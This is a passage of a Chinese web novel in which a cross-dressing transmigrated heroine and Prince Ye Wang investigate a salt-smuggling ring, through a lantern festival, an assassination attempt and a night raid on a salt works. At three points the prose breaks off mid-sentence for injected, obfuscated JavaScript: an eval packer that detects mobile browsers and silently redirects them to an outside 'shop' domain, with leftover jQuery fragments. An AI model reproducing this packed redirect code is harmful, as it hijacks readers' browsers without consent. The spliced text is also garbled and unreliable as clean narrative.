胖子脸色微动：“慢着，有话好好说。” “兄台的私盐生意做得太大，抢了别人的活计。况且这本就是杀头的行当，早日弃了也好。” “都是做这行的，何来抢？”季辞秋自门外走来，扬声道。 “我劝你别多问，”胖子神神秘秘道，“像你们这种民间的买卖，被抓是迟早的事。别人的不一样，”他手指了指上头，“懂我意思吧。你们得罪了人家，这事就难办了，尽早放弃是为你们好。” “上头是谁，你不说我们怎么知道你说的是不是真的？”季辞秋不屑道。 “不知，我就是个传话的，知道了还得了？信不信由你们，”胖子眉一横，又道，“若是不信，明日巳初，登荣楼归云阁，可前来一叙。” 看来是有备而来。 待人走后，季辞秋道：“来者不善，我先去禀告大人，你这边不要轻举妄动。” 回了府，没见叶望，方知他一早又去绮陌楼寻花问柳了，她只得硬着头皮前去。 因着迎春院的爆火，绮陌楼的生意受了些影响，是以见着这样一个面容清秀的小郎君，掌柜立马笑容满面地迎上来。 未等掌柜开口，季辞秋连忙打断，掏出一枚牌子道：“我找晋王殿下。” 掌柜见此，收起了笑容，恭敬道：“随我来。” 上了二楼，穿过曲折连廊，尽头是一扇雕花檀木门。掌柜拉开阁门，莺歌燕舞的绮丽景象裹挟着曲乐铺头盖脸而来。 一群着花绿繁复罗裙的女子翩翩起舞，脂粉香随着飘飘而起的透明肩纱若隐若现。红木小案上，镶金的宝龙纹玉盏歪歪斜斜地倒着，中间点缀着被随手丢下的珠玉和丝绢。 灯红酒绿，纸醉金迷。 季辞秋的脑中浮现出八个大字，只见叶望闻声缓缓转头。 今日他穿着一身海棠红宝瓶纹锦袍，单手撑着头，侧卧绣榻，隐隐露出内里泛着光泽的皮肤。许是屋内闷热，几缕碎发黏在鬓角，桃花眼半敛，眼尾泛着淡淡的红，看一眼便让人不自觉失神。 季辞秋垂下眼，心里有些乱。红颜祸水，用在男人身上也毫不逊色。 “胡公子，稍等片刻。”叶望起身。季辞秋这才注意到还有一个人，竟是那位强抢民女的纨绔胡泽谦。 “何事？”叶望踏出门，身上残留着淡淡的脂粉香。 季辞秋顿了顿，将太平坊的事一一禀告。 “很好，”叶望看起来心情极好，“有鱼上钩了。” 17. 河灯 登荣楼，归云阁。 叶望戴着面具坐于正中榻上，陆敞与季辞秋分立两旁。对面的男子端起茶盏咂了一口，笑道：“陆兄，带这么多人，来打群架？” 陆敞没理这话：“昨日你的人闯我太平坊，撂下一句话便跑了，我陆某从不平白受气，今日是来问清楚。” 男子又笑：“我以为我的人已经同你讲得很清楚了。” “你太平坊苟存至今，全因官府公事繁忙、无暇顾之，我想你心里比我清楚。倘若官府的人真的查下来，你觉得你小小一个太平坊有招架之力吗？” 陆敞听了这话，没吭声。 “如何没有招架之力？”叶望懒懒道。 “这位是……？”男子眯了眯眼。对面的男子身姿挺拔，虽带着面具，周身仍散着遮掩不住的贵气，让人不容轻视。 “我是谁不重要，重要的是我背后的人。”叶望凑近，装模做样道。 故弄玄虚，季辞秋觉得若是在现代，叶望高低得是个影帝。 不过那男子有些本事，没有被唬住：“哦？陆兄也有人，敢问是何人呐？” 叶望回正身子，摇摇头：“道上的规矩，不会透露，想必您也知道。” “不过我可以给你看一样东西，你若是识货，心中自会明了。” 说着叶望从袖中摸出一枚金质腰牌放于桌上，男子半信半疑地拿起端详。 文字的周围环刻鲤鱼跃龙门图，外圈勾勒回纹，錾刻工艺精湛。若没看错，这就是传言中大周皇城斋戒之日佩戴的金鲤牌，所有者非公即爵。 这陆敞居然攀上这么个高枝？男子心中惊异，不过私盐一事牵扯众多，里面的关系盘根交错，他身为个小人物，定是不懂上面有多少势力掺杂。 想到这里，他笑了笑，恭敬地呈上腰牌道：“鄙人真是有眼不识泰山，先前不敬，还望大人海涵。大人若是想做这门生意，鄙人必是不会说些什么的。” “说了这么多，还不知道贵兄背后是不是真的有人呢。你也别怪，我们做这生意的，遇到同行，自然要搞清楚些。若是合得来，兴许能交个朋友，互惠互利。”季辞秋道。 男子有些犹豫，见他们如此说了，便有所保留道：“我们都是地方的生意，人也是地方的，比不得大人。” 季辞秋皱了皱眉，陆定年的生意，怎会是地方的？莫非是有地方官在配合。 “阁下是海陵人吗？”季辞秋忽得问道。 男子一顿，没有回答。 她笑着补充道：“我有一亲戚是海陵人，听你们的口音极像，不知阁下可认识方建明？” 男子眼神闪了闪：“不识。” “该说的我都说了，我也就是个当差的，还请各位兄台不要为难。”他着急起了身，不想多留一刻，告辞离开。 “白兄仅凭口音就能识出海陵人？”陆敞好奇道。 季辞秋摇摇头：“非也，我本因口音起疑，看那男子虽衣着华贵，手背却粗糙泛红，定非生来锦衣玉食。海陵制盐，皮肤常年与盐接触，最易干燥泛红，所以试探问了他。” 待陆敞走后，季辞秋对叶望道：“王爷，我听舅父说官府在海陵收盐克扣颇多，而今又出了这些事，海陵定有他们的勾当。” “嗯，”叶望点头，又道，“明日广陵河灯会，本王抽不了身，后日你与本王去海陵探探。” —— 五月初五闹河灯，河灯会一直是广陵一年一度的重大节日。这日，家家户户都会在河中点上一盏灯，寄托美好的祝愿。今年广陵府将在下马坊的保障湖燃起一盏巨型河灯，以求风调雨顺，祈福辟邪。 这样热闹的场面，葵生自然不会错过，天还未暗，他便拉着季辞秋在府门前等候。 作为宴会的贵客，薛世平提前为叶望备了独立的画舫，随着河流顺流而下，最终到达保障湖。画舫不甚宽敞，季辞秋与葵生同叶望乘一只，千牛卫的护卫另乘一只紧跟其后。 葵生一进舫，便被满桌琳琅的美食吸引。季辞秋不为所动，她满心念着广陵的盛景，起身掀开帘栊。 天色已近黑，百姓早已三三两两地聚在河边，燃起一盏盏河灯，有玉兔状的、白凤状的、玄龟状的，顺着河水起伏游动，在黑黑的河道中汇成了一条闪闪的金带。一群孩童嬉笑着跑过，留下银铃般的笑声。 “爱赏景？”叶望身着乌金云纹锦袍，负手走出画舫。 “是，”季辞秋回头，眼中点点灯火，“天下之大，人生之短，这样的景色看一点少一些，要好好珍惜。” “客官，放河灯不？”一只小船靠近吆喝道。 季辞秋望了望舫内正忙着吃的葵生，无奈摇摇头：“我要两个。” 叶望喉咙滚了滚，正欲拒绝，见季辞秋已接过河灯，没作声。 “王爷，放个河灯吧，听说广陵的河灯许愿可灵了。”季辞秋兴冲冲地用蜡烛引火，脸颊扑红，“这还是我长这么大，第一次放河灯。” 叶望默不作声地接过，引了火，看着河灯随着水流打着转儿地漂远，忽得道：“本王小时放过一次，在曲江池。” 许了愿，好像没有实现。 季辞秋有些意外：“听说王爷很早便去陇西了，没想到对小时的事记得这样清楚。” 叶望望着远处，面色无波道：“陇西远不及长安繁华，自是对失去的记忆犹新。” 季辞秋点头认同：“我小时的事很多都记不清了，但我爹娘走的那日一直记得格外清楚，好似发生在昨日一般。”这次她说的是现实中的自己，其实她与白轩的经历，在某些程度上很相似。因为一场意外，她成了孤儿，靠着好心人与政府的资助，一步步考上了不错的大学找到了不错的工作，有了如今的她。 叶望看了她一眼，沉默不语，只见她又笑了笑：“不过陇西定是比长安自在吧。” 不知是黑暗的包裹让人隐蔽安全，还是夜晚的情绪不断泛滥，她托腮看着叶望，不知觉地问出她一直以来的疑惑：“说实话，我一直特别佩服你们皇子，在那样森严的规矩下，一定很累吧。” 这话实在越矩，可叶望竟有些不想板着脸追究。他看着眼前人，无边的夜色将他的轮廓笼罩得更加柔和，乌黑透亮的眸子里，映照点点河灯，愈来愈远，引人深陷。 从很早开始，他就明白，父王不喜欢他，皇子的身份不能带给他什么，反而处处掣肘。书上说，要做一名合格的亲王，需忌喜恶、无善恶，不可骄奢淫逸、亦不可礼贤下士，不可胸怀大志、亦不可胸无大志，须正身率下、然不可位望通显。极尽中庸之道，以定国祚。 可他不想做那中庸之人。在内学时，他看着书里济世安民、衣被苍生的名臣，心潮澎湃。他一头扎进书卷典籍里，如饥似渴，教书的大儒对他称赞有加，连哥哥叶宥有时都自愧不如。父王知道了，看了他一眼，暗地里不准他再读书。 他不愿放弃，决定走另一条路。季恪节度使为人爽直，他想跟着他，去千里之外的长平寻他的抱负。许是觉得他冲动气盛，定是无法久留，父王破天荒地没有阻拦。 边关确是如传言般苦寒，那里的天是黄色的，呼吸间充斥着沙土，封锁鼻腔，皲裂冻疮成为家常便饭。 十年如一日的沙场征战早已将他的外壳磨砺得无比坚硬，受过的伤吃过的苦他早已习惯，从不觉得有什么。若有人问他累不累，他可以斩钉截铁地说，不累。可眼前的人问的不是这个。 身为皇子累不累？

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705557|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他自己都有些搞不清。 “当皇子还不好？” “下辈子我若能做个皇子，不，哪怕与圣人沾亲带故些，都是祖坟冒青烟了。” 这是他的命，无处可说、无路可逃，他从未抱怨过什么。可当真的有人问出那句话时，心头还是不受控制地颤了颤。 像是沉年堆积的厚雪迸出一道裂缝，隐隐将欲倾塌。 叶望的心里升起一股怪异的感觉，有一瞬间，他想卸下所有的伪装，诉说他这些年的不甘、痛苦与绝望。但他很快清醒过来，“河风凉，”他起身不再看，“回屋了。” 回了船，葵生已挺着肚子瘫在一旁，船随着流水荡漾，拐入了一弯窄窄的河道。两岸的人愈来愈少，河灯也逐渐稀疏。 船内逐渐昏暗，季辞秋卷起窗边的帘幕，余光中忽见一道寒光闪过，向叶望飞来。季辞秋一惊，本能地想将叶望往一旁扯。可叶望竟纹丝不动，只见他猛一抬眼，捻起一只茶盏，向前掷去。 那寒光碰到了茶盏，被力道生生震偏了方向，晃荡一声落在地上，竟是一枚细细的梅花镖。 “哎呦我的腿，”一旁的葵生忽得叫了一声，“有暗器！”他吃得太撑，没有躲避及时，生生挨了这一下。 三人警惕地看向周围，除了船的吱呀摇曳声，再无其他。 庞谨察觉异常，飞身跃到船上。“去追。”叶望面色平静，理了理衣袍。 “是。” “你怎么样？”季辞秋上前查看葵生的伤势。 “嘶，怕是要将养一段时间。”葵生头冒冷汗道，“王爷，这光天化日之下如此大胆，不知是什么人？” “想杀本王的人太多了，”叶望扯了扯嘴角，“往后留个心眼。” 发生了这样的事，是没法好好看灯了。他寻了个地靠岸，派人将葵生送回了府上。 此时已近戌正，燃灯仪式就要开始，定是赶不上了。叶望看着赶来的随从道：“告诉宋节使，本王路途遇事耽搁，去不了了。” 季辞秋有些失落，但很快调整过来，闷闷往回走。 为了安全起见，他们没有按原路返回，走了城西的一条小道。 广陵城地势平坦，唯独城西有一片小山坡，比其他坊高出许多。 “这里也能看到保障湖。”叶望坐于马背，脊背笔直，语气无波无澜。 “真的？”季辞秋惊喜抬头。 她跟着叶望步至山头，眼前豁然开朗。 树木与楼阁掩映下的保障湖此刻灯火通明，熙熙攘攘围满了看客。湖中央是一座约莫一丈高的镂空花灯，在黑暗中隐隐现出轮廓。远处燃起了孔明灯，星星点点，落到水里，化作河灯一路长明。 时辰已到，在一阵欢呼声中，花灯徐徐点亮，灯体随着自上而下蔓延的烛火，逐渐舒展成一朵绽开的睡莲，在涟涟湖水中散发淡蓝的光。 周围陷入瞬时的安静，紧接着湖的四周数道光腾空而起，在天空炸开一朵朵烟花，映亮了众人的脸庞。 人群陷入更大的欢呼，季辞秋欣喜地看着，不禁拍手叫好。穿越过来的这些天，受的伤吃的苦忽然在这一刻全都被抚平。 她余光督了一眼叶望，只见他低头凝望着河灯，不知在想些什么。 星落如雨的烟花下，她看着他俊秀的侧脸，忽然觉得很割裂。相处至今，她愈来愈发现叶望不似传闻中那样不堪，某些时候似乎还挺好。 初见他时，史书上的一句话便是她对他所有的了解，而现在，她有些无法将这句话与他融合了。这样鲜活的人，那样的结局，似乎有点残忍。 季辞秋看着叶望发呆，忽得见其转身。她赶忙垂下头，压下眼中的情绪。 “走吧。” 18. 海陵 刺客终究没能抓到，花灯节后，叶望称病闭门不出，瞒着千牛卫的护卫，暗地里和季辞秋去了海陵。 这次叶望单独与她行动，季辞秋有些惊讶。不知为何，她感觉叶望似乎对她没有那么防备了，不过这正合她的心意，便不再多想。 海陵是一座临海小镇，地方不大，遍地都是盐场。二人简单填饱肚子，寻了家客栈入住。 客栈条件简陋，推门而入，仅有一张大床。 季辞秋站定，额头冒汗。且不说她的真实身份是个女子，她这样一个默默无闻的小民，和大周纡朱拖紫的皇子睡在一张简陋的床上，那画面光是想想都觉得怪异。 “我去要个褥子搭地铺。”季辞秋自觉出门。 “无碍。”叶望似乎毫不在意，“军营里这样的条件常有。”他放下行装，在桌边坐定。 季辞秋张了张嘴，正欲寻别的借口，只听叶望道：“那张舆图呢？” 她掏出一张黄皮纸，这是她在出发前找方叔画的海陵舆图，大致标了几大盐场和集市的位置，方便他们了解海陵的情况。 海陵的盐场大部分集中在东南角，那里地势平坦，更适合制盐。主要有三大盐场，淮山盐场、海安盐场和通义盐场，每个盐场都聚集着世代产盐的亭户。不过时过境迁，也不知现今的情况如何。 二人决定前去一探究竟。 “小兄弟，淮山盐场怎么走？”季辞秋向路边一卖炭的小贩问道。 那小贩上下打量了二人一眼：“广陵人？” 季辞秋点头。 小贩一副胸有成竹的表情：“二位是来做……买卖的？” 季辞秋愣了愣，与叶望对视了一眼。 “正是，”季辞秋小声道，“小兄弟有门道？” “碰到我算你们走运，”小贩得意地撂了撂袖子，“海陵现如今有三大盐场，通义盐场是当地一个大户承包，产的盐最为精细，不过不做这门生意。你们想找门道，只能去淮山和海安找。” 又道：“不过我这里就有一个现成的门路，不知二位有没有兴趣？” 二人在小贩的引荐下，到了淮山盐场中的一家亭户。“刘叔，有人来了。”小贩朝里吼了一声，完成了他的任务，回去继续卖炭了。 里面出来一位精瘦的男子。“二位是来......” 叶望不紧不慢道：“我们自广陵来，想同你打听点消息。” 那男子见不是来做买卖的，顿时没了兴趣：“我这里是产盐的，不是卖消息的。” “别急，”叶望摸出一块银锭，“一两白银换个消息，如何？” “二位想知道什么？” 叶望从袖中拿出一卷画轴展开：“打听个人。” 画中人是前些日子在登荣楼约见的那位，那次会面后，叶望借用杜琼玉的关系托人画了幅像。 男子凑近仔细看了看：“瞧着面熟。” 这时男子的妻子见男子久不回屋，出来查看，她看到画轴奇道：“这不是之前吴二家的小儿子吴大同吗？” “听说他后来去通义盐场做事，混得风生水起，一家都搬去广陵了。” “喏，前头是他们家的表叔，你们要想打听，可以去问问。” “多谢。”叶望将银锭交到女子手中。 二人到了前面的屋子，开门的是个中年男子。“二位......何事？” “打听个人，认识这位吗？”叶望展开画轴。 男子原本只是面露疑惑，见了那画像，脸色顿时暗下来。他皱着眉头道：“不识。” “可是我方才听人说，你是他表叔。”季辞秋道。 男子哼了一声：“可别表叔，人家现在是广陵数一数二的有钱人，广陵的官见了都得客客气气的，我们就一普通的亭户，高攀不起。” 这一番话，听起来怨气满满。 “你怎知人瞧不上，你若有心攀附，说不准也能去广陵。”季辞秋故意道。 “你如何知道，”男子冷笑，“先前去广陵办事，想着顺道去看看，结果人家以为我们这些穷亲戚是来投奔的，撇得可清。这广陵城啊，花花世界，到底与我们这些乡野村夫无关。” “不过你可知他现今在做什么？听说是杀头的买卖。”季辞秋凑近，装作八卦道。 男子眉心一跳：“这我就不知道了。不过那通义盐场的王韦昌本就胆大得很，他又飞升得这样快，做些不干不净的买卖也不稀奇。” “为何这样说？” 男子咳了咳：“自己去看吧。” 二人赶到通义盐场时，天色已将晚。通义盐场不似其他的盐场，是私人承包。鎏金大门高高矗立，两侧立着守卫，看起来颇有气势。叶望带着季辞秋绕到一侧，问道：“轻功如何？” “凑合。”季辞秋忙道。 话音刚落，只见叶望一个飞身翻进院墙。 ……好快，季辞秋紧跟着翻了进去。 由于是独户承包，通义盐场乍一看像是个私人府邸。单门独院，厅堂侧厢，时不时有几名小厮提灯巡视。 季辞秋跟着叶望小心躲避着，迈过了一扇雕花大门，眼前忽然换了一副景象。破旧不堪的矮房紧密排列，空地上堆叠着大大小小的器皿，屋后是成片的芦苇荡，再往后便是无垠的大海。 叶望折返回去，寻了另一条路。季辞秋一头雾水，她不知叶望在找什么，想上前问清楚，可是叶望脚程太快，光是跟着都有些费力。 终于，他在一间宅子旁停下。这宅子所处的院落颇大，每个屋子前都有人把守，颇有点此地无银三百两的意味。 “哎，明日是不是还有批货要送去那边？” “是啊，近日产盐运盐的活计多了些，时限也更紧，不知是为啥？” “还能为啥，老爷想赚银子呗。不过又不是让咱们运，就别操这个心了，好好在这守着就行。” “日日守着，我倒是好奇，这里面到底有啥宝贝。” “让你守你就守，哪那么多事儿。” 两个守卫有一搭没一搭地聊着。 叶望捻起一枚石子，朝正堂的柱子弹去。“什么声音？”众人听到动静，好奇地围了过去。 趁此间隙，叶望与季辞秋一个闪身进了屋。屋内漆黑一团，借着月光，可以看到成片的珠宝瓷器，锃光瓦亮、目不暇接。 一个摆满嶙峋奇石的博古架突兀地立在其间，他走上前摸索了一阵，忽得在其中一块太湖石停下，往外掰了掰。暗处响起一声机关的咯哒声，紧接着一面挂着绣扇的墙壁缓缓向两侧分开，一条黑乎乎的暗道显现眼前。 季辞秋目瞪口呆地立在原地，叶望见状轻描淡写地解释道：“军中机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708684|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关术颇多，这些算不了什么。” 他引了一张火折子，缓缓走入暗道。 暗道中弥漫着一股潮湿的霉味，尽头是一间小室。室内摆着一些画轴，看上去是收藏品。 季辞秋展开其中一卷，是一幅市井图，她觉着眼熟，细细看了看：“这是......汇通钱庄？” 叶望展开其它两幅，都是广陵的地方建筑。画纸做工粗糙、画技亦未达到出神入化，这样的几幅平平无奇的画轴，收在这样的暗室中，实在奇怪。 “嘿，你有没有觉着，这门像是被动过。” “没有吧，你是不是记错了。”门外传来两个守卫的声音。 二人连忙将画轴放回原位，轻手轻脚出了暗道。一片乌云遮住了月光，屋内顿时暗了下来，季辞秋屏息听着屋外的动静，一个不留神，踩到一根细线，发出清脆的细铃声。 “什么人？”门外的守卫警觉起来，哗得一声推开门。 “跑！”几乎是瞬时，叶望拉着季辞秋一个侧身闪出了门。 “来人啊，抓贼！” 府中巡逻的小厮迅速聚集，紧追着二人的踪迹。好在府中房屋树木众多，二人东躲西藏，在硕大的府邸周旋，不知不觉到了方才路过的雕花大门。 他们对视一眼，默契地跨了出去，飞身躲入芦苇荡中。 追逐的小厮失了目标，开始四处搜查。“人还在府里，大家仔细搜！” 季辞秋猫着腰，喘了口气。她暗自庆幸先前跟着青戈苦练了轻功，否则今夜怕是要交待在这儿。 她越想越后怕，转头看了眼叶望。只见他面无波澜，风轻云淡地从袖中摸出一颗夜明珠。 “这……”季辞秋迟疑。不会是方才从那藏宝阁中顺的吧。 叶望没有否认，平静道：“拿了这个，我们便是谋财的贼。” 偌大的通义盐场进个毛贼，偷些珠宝也不稀奇。 果不其然，没过多久，盐场的人搜寻无果，渐渐散了。 “可有丢什么？” “一颗西域的夜明珠，老爷特意从胡商那儿重金买下的，现在正大发雷霆呢。” “哎呦，幸好今夜不是我当值，不然吃不了兜着走。” 待人群散去，二人借着夜色，悄悄摸出了盐场。 到客栈已是丑正，为了不引人注意，二人从窗户翻入了房间。 此番行程虽惊险，但还算有些收获。季辞秋将画卷上的地方写在纸上，点着灯琢磨。 “早些休息，明日还要赶路。”叶望道。 “是。”季辞秋含糊应着，磨磨蹭蹭地起身。 她眼看着叶望面不改色地脱下外袍，穿着里衣躺下，心中很崩溃。 今后万万不能让他知道她女子的身份，不然下场一定会很惨。 她在床边迟疑了一下，做好心理建设后，终于像慷慨就义的壮士般笔直地躺了下来。 许是今日长途跋涉疲惫，叶望似乎很快入睡，凝固的气氛才没有继续蔓延。 季辞秋瞪着眼睛睡不着，又不敢翻身，只好干熬着。 窗外的月牙孤零零地挂在半空，夜的寒气慢慢侵袭，她扯了扯被子。渐渐地，她的意识逐渐模糊，也睡着了。 不知过了多久，一阵奇怪的动静传了出来。她骤然惊醒，往旁边看去，却是愣在了原地。 19. 梦魇 季辞秋看到了一个与平日完全不同的叶望。 他紧簇眉头，双眼紧闭，额角被汗浸湿。两手紧攥着，骨节分明，间断地喘着粗气，似乎很难受。 她还是头一次见叶望露出这般神情。 季辞秋摇了摇，想叫醒他，可他像是入了梦魇，迟迟不愿醒来。 这般没有防备，季辞秋心中腹诽。倘若她的任务是杀他，那他岂不是早已命丧黄泉。 正这样想着，叶望猛地惊醒，坐了起来。 他肉眼可见地恍惚了几秒，而后迅速恢复了如常。黑暗中，她看不清他的神情，只感觉他的轮廓锋利，方才那点脆弱惶惑瞬间抽走，像是一场梦。 季辞秋张了张口，最后起身道：“王爷方才魇着了，我开窗透点风，会好些。” 她很识趣地没有追问，乱世之中，人与人之间的关系如蒲草般脆弱，每个人的身上或多或少藏着些秘密，更何况是生于大周纷乱皇室中的皇子。 叶望翻身下床，喝了口水润嗓。今日不知为何，竟松了戒备，倘若有人别有用心，后果不堪设想。 下次万不可这般大意了。 “无事，我去外头透透风。”叶望淡淡说着，翻出了窗户。 虽已入夏，夜里还是凉得紧，他攀上一棵杨树，静静望着远方。 大梦初醒，他的心情极差，不仅因为梦境真实，更因为出现了那个好久不见的女人。 那女人还同过去一样，软弱怯懦，只敢躲在厚厚的屏风后偷看，然后趁人不备，自以为是地将她以为他爱吃的桃子塞他手里，仓促离开。 他对桃子过敏，她一直不知，他也没有告诉过她。他只是接了她的东西，摆在桌案，看着它慢慢腐败。 那时先皇后和太子还在，某一天叶宥来玩，见了桌上烂了一半的桃子奇道：“这样好的桃子，不吃为何？” 叶望吞吞吐吐，终是道：“我对桃子过敏。” 他对桃子过敏这件事终于让人知晓，没有人让他吃桃了，那女人也再没来过。 后来的一天，长门宫的宫女急急来报：“沈婕妤薨了！”当时他正与众皇子提笔抄经，心中一颤，笔锋走偏，一张字便毁了。 他慢慢地将纸揉成团，心头闷闷的，有些喘不上气。也好，虽为血亲但萍水相逢，注定是没有缘分罢。 沈婕妤的丧礼办得简简单单，本就出身卑微，身为宫女意外被临幸，虽英年早逝但诞下皇嗣，在旁人看来，已是泼天的富贵。 送殡的人敷衍了事，抱怨着工钱的缩水，浮皮潦草地盖上最后一抔土，一个人的一生自此盖棺定论。渐渐地没有人再提沈婕妤这个名字，她与后宫众多香消玉殒的嫔妃一样，被遗忘在森森深宫里。 叶望也是这样以为，经年的沙场征战，那个面容已渐渐模糊不清，今夜却又猝不及防闯入梦境，打得人措手不及。 他又坐了一会，待天空慢慢泛白，回了屋。 次日，季辞秋于梦中醒来，习惯性看了看旁边，空无一人。她一个鲤鱼打挺坐起，穿好衣服出了门。 穿过长廊，便是客栈的大堂。叶望着一袭玄袍，正坐在窗边喝茶。长眉微拧，神情淡漠。 他又变回了那个刀枪不入的叶望。 季辞秋打了个招呼，走上前。二人很默契地没有提昨夜之事，商量完返程的计划后便出发了。 —— 绮陌楼，寻芳阁。 杜琼玉坐在窗前，漫不经心地绣着团扇，忽得被人从身后环住。她没抬头道：“郭副使来了。” 背后的人听见这朝思暮想的声音，将她环得更紧。 杜琼玉笑了笑，挣出怀抱嗔怪道：“又不是生离死别，这样难舍难分做甚。” “晋王没欺负你吧。”郭统闷闷道。 “没有，”杜琼玉道，“我是谁，还能让人给欺负了不是？” “他有没有......”郭统黑着脸欲言又止。 杜琼玉知道他的心思，心中鄙夷，面上和气道：“有是有，但活计......不如副使大人。” 这话很受用，郭统面色舒展了些，他一把将杜琼玉揽到怀中，又不觉痛快，暗自念叨着：“琼娘，我将你赎了身吧。你跟了我，谁也不会欺负你了。” “哎呦，可别，大人若赎了我，大人家中那母老虎能饶得了我？大人公务繁忙，还是安生些好。” 郭统听了没说话，杜琼玉自顾自道：“广陵现今是真不太平，我听说前阵子东水门闹鬼，死了好些人呢。最近倒是没声了。” “还有，听说官府前几日将高家酒酿围了，把人全带走了，可惜了他家上好的琼花酿了。也不知是犯了什么事？” “琼娘，你安心呆在这绮陌楼里，不用操心这些，”郭统漫不经心道，“我会护你周全。” “怎得不操心，”杜琼玉推了一把郭统，“你别以为瞒着我我就不知道，我听说他们做的是私盐生意，杀头的大罪。” “你听谁说的？”郭统皱了皱眉。 杜琼玉白了他一眼：“这绮陌楼每日进进出出这么些人，哪能记得住谁说的。” “我还听说广陵的私盐生意早就见怪不怪了，说是官府都掺和进来了，”杜琼玉担忧地看了郭统一眼，“你老实同我说，你有没有参与？” 郭统还没来得及吭声，杜琼玉就抽泣道：“我的命好苦…遇见大人之前受苦受气就罢了，遇见大人之后，以为能过上安生日子了，可大人糊涂一时，做了这等杀头的勾当…我的下半辈子还找谁托付啊。” 郭统见杜琼玉伤心，一时慌乱起来：“你别哭啊，我还没说呢，你倒替我答上了。我郭统是什么人，哪能干这行当。” “你果真没有？”杜琼玉止了泪，楚楚可怜地看着郭统。 他有些心虚，迟疑了一下。 “说谎。”杜琼玉复又抽泣起来。 郭统心中早已柔成一片，他伸手擦了擦杜琼玉眼角的泪，郑重道：“琼娘，你放心罢，我做事自有分寸。我不过是在一旁捞点好处，这私盐的杀头罪是给出头鸟的，底下分杯羹的比比皆是，总不能全送去杀头吧。” “此话当真？” “句句为真，倘若有假，天打雷劈，”郭统正色道，他亲了口杜琼玉的脸颊，“娘子，别哭了，我做这些，不也是想早日盘个大宅子，把娘子风风光光地接回去吗？” 杜琼玉用帕子擦了擦眼泪，掩去嘴角的讥笑。 —— 叶望与季辞秋赶回府时，已近日入。叶望回屋洗沐后换了身衣裳，见青戈匆匆赶来。 “调查的事有进展了？” 青戈点头，掏出一卷册子：“我近日多方打探了下，郭副使出身贫民，很早便入了军籍。一开始在广陵府上做卫兵，后来收归淮南节度使做府兵。” “郭副使与宋节使交情非同一般，据说二人在兵策上颇为一致，相互欣赏。在一次战役中，郭副使为救宋节使身负重伤，自此二人结拜兄弟，宋节使也放心地将府内大小事务交于他，自己专心练兵。” “郭副使虽行事张狂，但确有些本事，这些年将府内的土地、兵备等事打理得井井有条，宋节使也愈发信任他，更助长了其嚣张跋扈的风格。” “不过我仔细查了查，郭副使私下似乎并未大肆敛财，府邸中规中矩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16716242|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。但听广陵的商户说，郭副使克扣颇多，不知这些银子花在了何处。” “嗯，继续盯着。”叶望道。方才他刚回府，便收到杜琼玉的消息，说是郭统疑似插手了私盐的事，但非主谋。 有意思，他隐隐有预感，埋在广陵城下的大网正逐渐浮出水面。 另一边，季辞秋回府放好行装，坐在桌前继续琢磨通义盐场收获的信息。先前在登荣阁，吴大同说他们的人都是地方的，那神情看起来不像在说谎。她从已知的陆定年倒推，能与右仆射攀上关系的，极有可能是京城外派到地方的官，官阶不小且与盐业有牵连。 一个答案呼之欲出，专管食盐专卖及征税的盐铁使刘桦。虽然目前尚不确定是他本人亦或身边人所为，但朝着这个方向查应是没错。 只是，这三个地点是什么意思呢？她用笔在地图上将福顺当铺、汇通钱庄和宏安客栈勾出来，盯着犯了愁。 这三个地方她不甚了解，莫非之间有什么关联？她心中猜测，忽地灵机一动，带着地图去找肃风。 “你是当地人，看看这三个有何关联？”季辞秋将地图展开在肃风面前。 肃风仔细看了一会，嘴中喃喃道：“运货。” “什么？”季辞秋不明所以。 “汇通钱庄的私镖小有名气，广陵的富商常去那儿雇人走镖，运送点奇珍异宝。福顺当铺和宏安客栈亦做些货物运载的生意，私下饲养马匹。这三个地方相同的，便是可以运货。” 季辞秋听了这话，凑近看了看，像是发现了什么，将三个地点到东水门码头的路线画了出来。三段路程看上去相差无几，且有一个交点。不过这交点似乎没有对应的地点，在地图上并没有标明。 “这里五六年前是一个造纸厂，后来废弃了。”肃风指了指道。 次日，叶望与季辞秋和青戈三人聚在正堂，季辞秋展开用圈勾画过的地图。 “我昨日仔细琢磨了一通，还真看出点名堂。”她将肃风说的复述了一遍。 “这里，”她点了点中间的交点，“是一片废弃的造纸厂，去这里看看，说不定会有收获。” 青戈点点头：“何时去？” “不急。”叶望道，“通义盐场将将失窃，若真有关系，近几日造纸厂很可能会加强戒备。” “青戈，你去查查造纸厂的来历，顺便看看与郭统是否有关系。” 郭统？季辞秋在一旁听着，心中奇怪，莫非郭统也是陆定年的人？ —— 长安，齐王府。 “王爷，广陵来信。” 